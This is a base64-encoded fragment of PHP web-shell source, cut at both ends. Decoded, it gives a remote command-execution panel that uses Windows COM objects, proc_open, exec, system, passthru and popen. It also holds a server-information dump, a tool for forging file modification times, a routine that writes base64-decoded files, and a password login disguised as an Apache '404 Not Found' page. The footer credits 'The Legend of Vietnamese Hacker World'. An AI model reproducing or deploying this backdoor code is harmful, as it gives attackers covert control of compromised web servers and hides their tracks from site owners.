KGZ1bGxwYXRoKScsJ25hbWUnPT4ndGFyZmlsZScsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7Cglmb3JtZm9vdGVyKCk7Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nU2V0IGxhc3QgbW9kaWZpZWQnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IGZpbGUgKGZ1bGxwYXRoKScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsKCXAoJzxwPkluc3RlYWQgJnJhcXVvOycpOwoJcCgneWVhcjonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5ZWFyJywndmFsdWUnPT5kYXRlKCdZJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+NCkpOwoJcCgnbW9udGg6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nbW9udGgnLCd2YWx1ZSc9PmRhdGUoJ20nLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7CglwKCdkYXk6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGF5JywndmFsdWUnPT5kYXRlKCdkJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnaG91cjonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidob3VyJywndmFsdWUnPT5kYXRlKCdIJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnbWludXRlOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21pbnV0ZScsJ3ZhbHVlJz0+ZGF0ZSgnaScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsKCXAoJ3NlY29uZDonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzZWNvbmQnLCd2YWx1ZSc9PmRhdGUoJ3MnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdGVyKCk7Cn0vL2VuZCBuZXd0aW1lCgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NoZWxsJykgewoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsKCQlpZigkcHJvZ3JhbSAmJiAkcGFyYW1ldGVyKSB7CgkJCSRzaGVsbD0gbmV3IENPTSgnU2hlbGwuQXBwbGljYXRpb24nKTsKCQkJJGEgPSAkc2hlbGwtPlNoZWxsRXhlY3V0ZSgkcHJvZ3JhbSwkcGFyYW1ldGVyKTsKCQkJbSgnUHJvZ3JhbSBydW4gaGFzICcuKCEkYSA/ICdzdWNjZXNzJyA6ICdmYWlsJykpOwoJCX0KCQkhJHByb2dyYW0gJiYgJHByb2dyYW0gPSAnYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJzsKCQkhJHBhcmFtZXRlciAmJiAkcGFyYW1ldGVyID0gJy9jIG5ldCBzdGFydCA+ICcuU0FfUk9PVC4nbG9nLnR4dCc7CgkJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgUHJvZ3JhbScpKTsKCQltYWtlaGlkZSgnYWN0aW9uJywnc2hlbGwnKTsKCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1Byb2dyYW0nLCduYW1lJz0+J3Byb2dyYW0nLCd2YWx1ZSc9PiRwcm9ncmFtLCduZXdsaW5lJz0+MSkpOwoJCXAoJzxwPicpOwoJCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGFyYW1ldGVyJywnbmFtZSc9PidwYXJhbWV0ZXInLCd2YWx1ZSc9PiRwYXJhbWV0ZXIpKTsKCQltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0V4ZWN1dGUnKSk7CgkJcCgnPC9wPicpOwoJCWZvcm1mb290KCk7Cgl9Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXhlY3V0ZSBDb21tYW5kJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7CglpZiAoSVNfV0lOICYmIElTX0NPTSkgewoJCSRleGVjZnVuY2RiID0gYXJyYXkoJ3BocGZ1bmMnPT4ncGhwZnVuYycsJ3dzY3JpcHQnPT4nd3NjcmlwdCcsJ3Byb2Nfb3Blbic9Pidwcm9jX29wZW4nKTsKCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidVc2U6JywnbmFtZSc9PidleGVjZnVuYycsJ29wdGlvbic9PiRleGVjZnVuY2RiLCdzZWxlY3RlZCc9PiRleGVjZnVuYywnbmV3bGluZSc9PjEpKTsKCX0KCXAoJzxwPicpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDb21tYW5kJywnbmFtZSc9Pidjb21tYW5kJywndmFsdWUnPT4kY29tbWFuZCkpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3QoKTsKCglpZiAoJGNvbW1hbmQpIHsKCQlwKCc8aHIgd2lkdGg9IjEwMCUiIG5vc2hhZGUgLz48cHJlPicpOwoJCWlmICgkZXhlY2Z1bmM9PSd3c2NyaXB0JyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7CgkJCSR3c2ggPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7CgkJCSRleGVjID0gJHdzaC0+ZXhlYygnY21kLmV4ZSAvYyAnLiRjb21tYW5kKTsKCQkJJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsKCQkJJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsKCQkJZWNobyAkc3Ryb3V0cHV0OwoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSdwcm9jX29wZW4nICYmIElTX1dJTiAmJiBJU19DT00pIHsKCQkJJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoCgkJCSAgIDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLAoJCQkgICAxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKCQkJICAgMiA9PiBhcnJheSgncGlwZScsICd3JykKCQkJKTsKCQkJJHByb2Nlc3MgPSBwcm9jX29wZW4oJF9TRVJWRVJbJ0NPTVNQRUMnXSwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOwoJCQlpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7CgkJCQlmd3JpdGUoJHBpcGVzWzBdLCAkY29tbWFuZC4iXHJcbiIpOwoJCQkJZndyaXRlKCRwaXBlc1swXSwgImV4aXRcclxuIik7CgkJCQlmY2xvc2UoJHBpcGVzWzBdKTsKCQkJCXdoaWxlICghZmVvZigkcGlwZXNbMV0pKSB7CgkJCQkJZWNobyBmZ2V0cygkcGlwZXNbMV0sIDEwMjQpOwoJCQkJfQoJCQkJZmNsb3NlKCRwaXBlc1sxXSk7CgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzJdKSkgewoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzJdLCAxMDI0KTsKCQkJCX0KCQkJCWZjbG9zZSgkcGlwZXNbMl0pOwoJCQkJcHJvY19jbG9zZSgkcHJvY2Vzcyk7CgkJCX0KCQl9IGVsc2UgewoJCQllY2hvKGV4ZWN1dGUoJGNvbW1hbmQpKTsKCQl9CgkJcCgnPC9wcmU+Jyk7Cgl9Cn0vL2VuZCBzaGVsbAoKZWxzZWlmICgkYWN0aW9uID09ICdwaHBlbnYnKSB7CgkkdXBzaXplPWdldGNmZygnZmlsZV91cGxvYWRzJykgPyBnZXRjZmcoJ3VwbG9hZF9tYXhfZmlsZXNpemUnKSA6ICdOb3QgYWxsb3dlZCc7CgkkYWRtaW5tYWlsPWlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkgPyAkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10gOiBnZXRjZmcoJ3NlbmRtYWlsX2Zyb20nKTsKCSEkZGlzX2Z1bmMgJiYgJGRpc19mdW5jID0gJ05vJzsKCSRpbmZvID0gYXJyYXkoCgkJMSA9PiBhcnJheSgnU2VydmVyIFRpbWUnLGRhdGUoJ1kvbS9kIGg6aTpzJywkdGltZXN0YW1wKSksCgkJMiA9PiBhcnJheSgnU2VydmVyIERvbWFpbicsJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLAoJCTMgPT4gYXJyYXkoJ1NlcnZlciBJUCcsZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpLAoJCTQgPT4gYXJyYXkoJ1NlcnZlciBPUycsUEhQX09TKSwKCQk1ID0+IGFycmF5KCdTZXJ2ZXIgT1MgQ2hhcnNldCcsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLAoJCTYgPT4gYXJyYXkoJ1NlcnZlciBTb2Z0d2FyZScsJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSwKCQk3ID0+IGFycmF5KCdTZXJ2ZXIgV2ViIFBvcnQnLCRfU0VSVkVSWydTRVJWRVJfUE9SVCddKSwKCQk4ID0+IGFycmF5KCdQSFAgcnVuIG1vZGUnLHN0cnRvdXBwZXIocGhwX3NhcGlfbmFtZSgpKSksCgkJOSA9PiBhcnJheSgnVGhlIGZpbGUgcGF0aCcsX19GSUxFX18pLAoKCQkxMCA9PiBhcnJheSgnUEhQIFZlcnNpb24nLFBIUF9WRVJTSU9OKSwKCQkxMSA9PiBhcnJheSgnUEhQSU5GTycsKElTX1BIUElORk8gPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbihcJ3BocGluZm9cJyk7Ij5ZZXM8L2E+JyA6ICdObycpKSwKCQkxMiA9PiBhcnJheSgnU2FmZSBNb2RlJyxnZXRjZmcoJ3NhZmVfbW9kZScpKSwKCQkxMyA9PiBhcnJheSgnQWRtaW5pc3RyYXRvcicsJGFkbWlubWFpbCksCgkJMTQgPT4gYXJyYXkoJ2FsbG93X3VybF9mb3BlbicsZ2V0Y2ZnKCdhbGxvd191cmxfZm9wZW4nKSksCgkJMTUgPT4gYXJyYXkoJ2VuYWJsZV9kbCcsZ2V0Y2ZnKCdlbmFibGVfZGwnKSksCgkJMTYgPT4gYXJyYXkoJ2Rpc3BsYXlfZXJyb3JzJyxnZXRjZmcoJ2Rpc3BsYXlfZXJyb3JzJykpLAoJCTE3ID0+IGFycmF5KCdyZWdpc3Rlcl9nbG9iYWxzJyxnZXRjZmcoJ3JlZ2lzdGVyX2dsb2JhbHMnKSksCgkJMTggPT4gYXJyYXkoJ21hZ2ljX3F1b3Rlc19ncGMnLGdldGNmZygnbWFnaWNfcXVvdGVzX2dwYycpKSwKCQkxOSA9PiBhcnJheSgnbWVtb3J5X2xpbWl0JyxnZXRjZmcoJ21lbW9yeV9saW1pdCcpKSwKCQkyMCA9PiBhcnJheSgncG9zdF9tYXhfc2l6ZScsZ2V0Y2ZnKCdwb3N0X21heF9zaXplJykpLAoJCTIxID0+IGFycmF5KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywkdXBzaXplKSwKCQkyMiA9PiBhcnJheSgnbWF4X2V4ZWN1dGlvbl90aW1lJyxnZXRjZmcoJ21heF9leGVjdXRpb25fdGltZScpLicgc2Vjb25kKHMpJyksCgkJMjMgPT4gYXJyYXkoJ2Rpc2FibGVfZnVuY3Rpb25zJywkZGlzX2Z1bmMpLAoJKTsKCglpZigkcGhwdmFybmFtZSkgewoJCW0oJHBocHZhcm5hbWUgLicgOiAnLmdldGNmZygkcGhwdmFybmFtZSkpOwoJfQoKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTZXJ2ZXIgZW52aXJvbm1lbnQnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywncGhwZW52Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BsZWFzZSBpbnB1dCBQSFAgY29uZmlndXJhdGlvbiBwYXJhbWV0ZXIoZWc6bWFnaWNfcXVvdGVzX2dwYyknLCduYW1lJz0+J3BocHZhcm5hbWUnLCd2YWx1ZSc9PiRwaHB2YXJuYW1lLCduZXdsaW5lJz0+MSkpOwoJZm9ybWZvb3RlcigpOwoKCSRocCA9IGFycmF5KDA9PiAnU2VydmVyJywgMT0+ICdQSFAnKTsKCWZvcigkYT0wOyRhPDI7JGErKykgewoJCXAoJzxoMj4nLiRocFskYV0uJyAmcmFxdW87PC9oMj4nKTsKCQlwKCc8dWwgY2xhc3M9ImluZm8iPicpOwoJCWlmICgkYT09MCkgewoJCQlmb3IoJGk9MTskaTw9OTskaSsrKSB7CgkJCQlwKCc8bGk+PHU+Jy4kaW5mb1skaV1bMF0uJzo8L3U+Jy4kaW5mb1skaV1bMV0uJzwvbGk+Jyk7CgkJCX0KCQl9IGVsc2VpZiAoJGEgPT0gMSkgewoJCQlmb3IoJGk9MTA7JGk8PTIzOyRpKyspIHsKCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsKCQkJfQoJCX0KCQlwKCc8L3VsPicpOwoJfQp9Ly9lbmQgcGhwZW52CgplbHNlIHsKCW0oJ1VuZGVmaW5lZCBBY3Rpb24nKTsKfQoKPz4KPC90ZD48L3RyPjwvdGFibGU+CjxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMEUwRTBFO2JvcmRlci10b3A6MXB4IHNvbGlkICMwRTBFMEU7YmFja2dyb3VuZDojMEUwRTBFOyI+Cgk8c3BhbiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48P3BocCBkZWJ1Z2luZm8oKTtvYl9lbmRfZmx1c2goKTs/Pjwvc3Bhbj4KCTxCPlRoZSBMZWdlbmQgb2YgVmlldG5hbWVzZSBIYWNrZXIgV29ybGQ8L0I+IEFsbCBSaWdodHMgUmVzZXJ2ZWQuCjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCgovKj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpTaG93IGluZm8gc2hlbGwKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8KCmZ1bmN0aW9uIG0oJG1zZykgewoJZWNobyAnPGRpdiBzdHlsZT0iYmFja2dyb3VuZDojZjFmMWYxO2JvcmRlcjoxcHggc29saWQgI2RkZDtwYWRkaW5nOjE1cHg7Zm9udDoxNHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7Ij4nOwoJZWNobyAkbXNnOwoJZWNobyAnPC9kaXY+JzsKfQpmdW5jdGlvbiBzY29va2llKCRrZXksICR2YWx1ZSwgJGxpZmUgPSAwLCAkcHJlZml4ID0gMSkgewoJZ2xvYmFsICRhZG1pbiwgJHRpbWVzdGFtcCwgJF9TRVJWRVI7Cgkka2V5ID0gKCRwcmVmaXggPyAkYWRtaW5bJ2Nvb2tpZXByZSddIDogJycpLiRrZXk7CgkkbGlmZSA9ICRsaWZlID8gJGxpZmUgOiAkYWRtaW5bJ2Nvb2tpZWxpZmUnXTsKCSR1c2Vwb3J0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gMSA6IDA7CglzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGltZXN0YW1wKyRsaWZlLCAkYWRtaW5bJ2Nvb2tpZXBhdGgnXSwgJGFkbWluWydjb29raWVkb21haW4nXSwgJHVzZXBvcnQpOwp9CmZ1bmN0aW9uIG11bHRpKCRudW0sICRwZXJwYWdlLCAkY3VycGFnZSwgJHRhYmxlbmFtZSkgewoJJG11bHRpcGFnZSA9ICcnOwoJaWYoJG51bSA+ICRwZXJwYWdlKSB7CgkJJHBhZ2UgPSAxMDsKCQkkb2Zmc2V0ID0gNTsKCQkkcGFnZXMgPSBAY2VpbCgkbnVtIC8gJHBlcnBhZ2UpOwoJCWlmKCRwYWdlID4gJHBhZ2VzKSB7CgkJCSRmcm9tID0gMTsKCQkJJHRvID0gJHBhZ2VzOwoJCX0gZWxzZSB7CgkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkb2Zmc2V0OwoJCQkkdG8gPSAkY3VycGFnZSArICRwYWdlIC0gJG9mZnNldCAtIDE7CgkJCWlmKCRmcm9tIDwgMSkgewoJCQkJJHRvID0gJGN1cnBhZ2UgKyAxIC0gJGZyb207CgkJCQkkZnJvbSA9IDE7CgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgewoJCQkJCSR0byA9ICRwYWdlOwoJCQkJfQoJCQl9IGVsc2VpZigkdG8gPiAkcGFnZXMpIHsKCQkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkcGFnZXMgKyAkdG87CgkJCQkkdG8gPSAkcGFnZXM7CgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgewoJCQkJCSRmcm9tID0gJHBhZ2VzIC0gJHBhZ2UgKyAxOwoJCQkJfQoJCQl9CgkJfQoJCSRtdWx0aXBhZ2UgPSAoJGN1cnBhZ2UgLSAkb2Zmc2V0ID4gMSAmJiAkcGFnZXMgPiAkcGFnZSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgMSk7Ij5GaXJzdDwvYT4gJyA6ICcnKS4oJGN1cnBhZ2UgPiAxID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSAtIDEpLicpOyI+UHJldjwvYT4gJyA6ICcnKTsKCQlmb3IoJGkgPSAkZnJvbTsgJGkgPD0gJHRvOyAkaSsrKSB7CgkJCSRtdWx0aXBhZ2UgLj0gJGkgPT0gJGN1cnBhZ2UgPyAkaS4nICcgOiAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJGkuJyk7Ij5bJy4kaS4nXTwvYT4gJzsKCQl9CgkJJG11bHRpcGFnZSAuPSAoJGN1cnBhZ2UgPCAkcGFnZXMgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuKCRjdXJwYWdlICsgMSkuJyk7Ij5OZXh0PC9hPicgOiAnJykuKCR0byA8ICRwYWdlcyA/ICcgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJHBhZ2VzLicpOyI+TGFzdDwvYT4nIDogJycpOwoJCSRtdWx0aXBhZ2UgPSAkbXVsdGlwYWdlID8gJzxwPlBhZ2VzOiAnLiRtdWx0aXBhZ2UuJzwvcD4nIDogJyc7Cgl9CglyZXR1cm4gJG11bHRpcGFnZTsKfQovLyBMb2dpbiBwYWdlCmZ1bmN0aW9uIGxvZ2lucGFnZSgpIHsKPz4KCjxodG1sPiA8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+IDxoMT5Ob3QgRm91bmQ8L2gxPiAgPHA+VGhlIHJlcXVlc3RlZCBVUkwgLyB3YXMgbm90IGZvdW5kIG9uIHRoaXMgc2VydmVyLjwvcD4gPHA+QWRkaXRpb25hbGx5LCBhIDQwNCBOb3QgRm91bmQgZXJyb3Igd2FzIGVuY291bnRlcmVkIHdoaWxlIHRyeWluZyB0byB1c2UgYW4gRXJyb3JEb2N1bWVudCB0byBoYW5kbGUgdGhlIHJlcXVlc3QuPC9wPiA8aHI+ICA8YWRkcmVzcz5BcGFjaGUgU2VydmVyIGF0ICBQb3J0IDgwPC9hZGRyZXNzPiAgICAgIDxzdHlsZT4gICAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9ICAgICAgPC9zdHlsZT4gIDxjZW50ZXI+IDxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPiAgICAgPHNwYW4gc3R5bGU9ImZvbnQ6MTBwdCB0YWhvbWE7Ij48L3NwYW4+PGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0iMjAiPiAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG9pbmciIHZhbHVlPSJsb2dpbiI+ICAgICA8L2Zvcm0+IDwvY2VudGVyPiAJPC9odG1sPiAKPD9waHAKCWV4aXQ7Cgp9Ly9lbmQgbG9naW5wYWdlKCkKCmZ1bmN0aW9uIGV4ZWN1dGUoJGNmZSkgewoJJHJlcyA9ICcnOwoJaWYgKCRjZmUpIHsKCQlpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewoJCQlAZXhlYygkY2ZlLCRyZXMpOwoJCQkkcmVzID0gam9pbigiXG4iLCRyZXMpOwoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CgkJCSRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsKCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CgkJCUBvYl9zdGFydCgpOwoJCQlAc3lzdGVtKCRjZmUpOwoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwoJCQlAb2JfZW5kX2NsZWFuKCk7CgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CgkJCUBvYl9zdGFydCgpOwoJCQlAcGFzc3RocnUoJGNmZSk7CgkJCSRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CgkJCUBvYl9lbmRfY2xlYW4oKTsKCQl9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgewoJCQkkcmVzID0gJyc7CgkJCXdoaWxlKCFAZmVvZigkZikpIHsKCQkJCSRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOwoJCQl9CgkJCUBwY2xvc2UoJGYpOwoJCX0KCX0KCXJldHVybiAkcmVzOwp9CmZ1bmN0aW9uIHdoaWNoKCRwcikgewoJJHBhdGggPSBleGVjdXRlKCJ3aGljaCAkcHIiKTsKCXJldHVybiAoJHBhdGggPyAkcGF0aCA6ICRwcik7Cn0KCmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCl7CglpZigkZnA9QGZvcGVuKCRmbmFtZSwndycpKSB7CgkJQGZwdXRzKCRmcCxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOwoJCUBmY2xvc2UoJGZwKTsKCX0KfQoKLy8gRGVidWcKZnVuY3Rpb24gZGVidWdpbmZvKCkgewoJZ2xvYmFsICRzdGFydHRpbWU7CgkkbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOwoJJHRvdGFsdGltZSA9IG51bWJlcl9mb3JtYXQoKCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTsKCWVjaG8gJ1Byb2Nlc3NlZCBpbiAnLiR0b3RhbHRpbWUuJyBzZWNvbmQocyknOwp9CgovLyBGdW5jdGlvbiBjb25uZWN0IGRhdGFiYXNlCmZ1bmN0aW9uIGRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lPScnLCRjaGFyc2V0PScnLCRkYnBvcnQ9JzMzMDYnKSB7CglpZighJGxpbmsgPSBAbXlzcWxfY29ubmVjdCgkZGJob3N0Lic6Jy4kZGJwb3J0LCAkZGJ1c2VyLCAkZGJwYXNzKSkgewoJCXAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4nKTsKCQlleGl0OwoJfQoJaWYoJGxpbmsgJiYgJGRibmFtZSkgewoJCWlmICghQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCAkbGluaykpIHsKCQkJcCgnPGgyPkRhdGFiYXNlIHNlbGVjdGVkIGhhcyBlcnJvcjwvaDI+Jyk7CgkJCWV4aXQ7CgkJfQoJfQoJaWYoJGxpbmsgJiYgbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkgPiAnNC4xJykgewoJCWlmKGluX2FycmF5KHN0cnRvbG93ZXIoJGNoYXJzZXQpLCBhcnJheSgnZ2JrJywgJ2JpZzUnLCAndXRmOCcpKSkgewoJCQlxKCJTRVQgY2hhcmFjdGVyX3NldF9jb25uZWN0aW9uPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X3Jlc3VsdHM9JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfY2xpZW50PWJpbmFyeTsiLCAkbGluayk7CgkJfQoJfQoJcmV0dXJuICRsaW5rOwp9CgovLyBBcnJheSBzdHJpcApmdW5jdGlvbiBzX2FycmF5KCYkYXJyYXkpIHsKCWlmIChpc19hcnJheSgkYXJyYXkpKSB7CgkJZm9yZWFjaCAoJGFycmF5IGFzICRrID0+ICR2KSB7CgkJCSRhcnJheVska10gPSBzX2FycmF5KCR2KTsKCQl9Cgl9IGVsc2UgaWYgKGlzX3N0cmluZygkYXJyYXkpKSB7CgkJJGFycmF5ID0gc3RyaXBzbGFzaGVzKCRhcnJheSk7Cgl9CglyZXR1cm4gJGFycmF5Owp9CgovLyBIVE1MIFN0cmlwCmZ1bmN0aW9uIGh0bWxfY2xlYW4oJGNvbnRlbnQpIHsKCSRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcbiIsICI8YnIgLz4iLCAkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCIgICIsICImbmJzcDsmbmJzcDsiLCAkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcdCIsICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkY29udGVudCk7CglyZXR1cm4gJGNvbnRlbnQ7Cn0KCi8vIENobW9kCmZ1bmN0aW9uIGdldENobW9kKCRmaWxlcGF0aCl7CglyZXR1cm4gc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRmaWxlcGF0aCksMTAsOCksLTQpOwp9CgpmdW5jdGlvbiBnZXRQZXJtcygkZmlsZXBhdGgpIHsKCSRtb2RlID0gQGZpbGVwZXJtcygkZmlsZXBhdGgpOwoJaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gJ3MnO30KCWVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAnZCc7fQoJZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICdsJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gJy0nO30KCWVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAnYic7fQoJZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICdjJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gJ3AnO30KCWVsc2UgeyR0eXBlID0gJz8nO30KCgkkb3duZXJbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsKCSRvd25lclsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsKCSRvd25lclsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOwoJJGdyb3VwWydyZWFkJ10gPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7CgkkZ3JvdXBbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7CgkkZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsKCSR3b3JsZFsncmVhZCddID0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOwoJJHdvcmxkWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOwoJJHdvcmxkWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7CgoJaWYoICRtb2RlICYgMHg4MDAgKSB7JG93bmVyWydleGVjdXRlJ10gPSAoJG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQoJaWYoICRtb2RlICYgMHg0MDAgKSB7JGdyb3VwWydleGVjdXRlJ10gPSA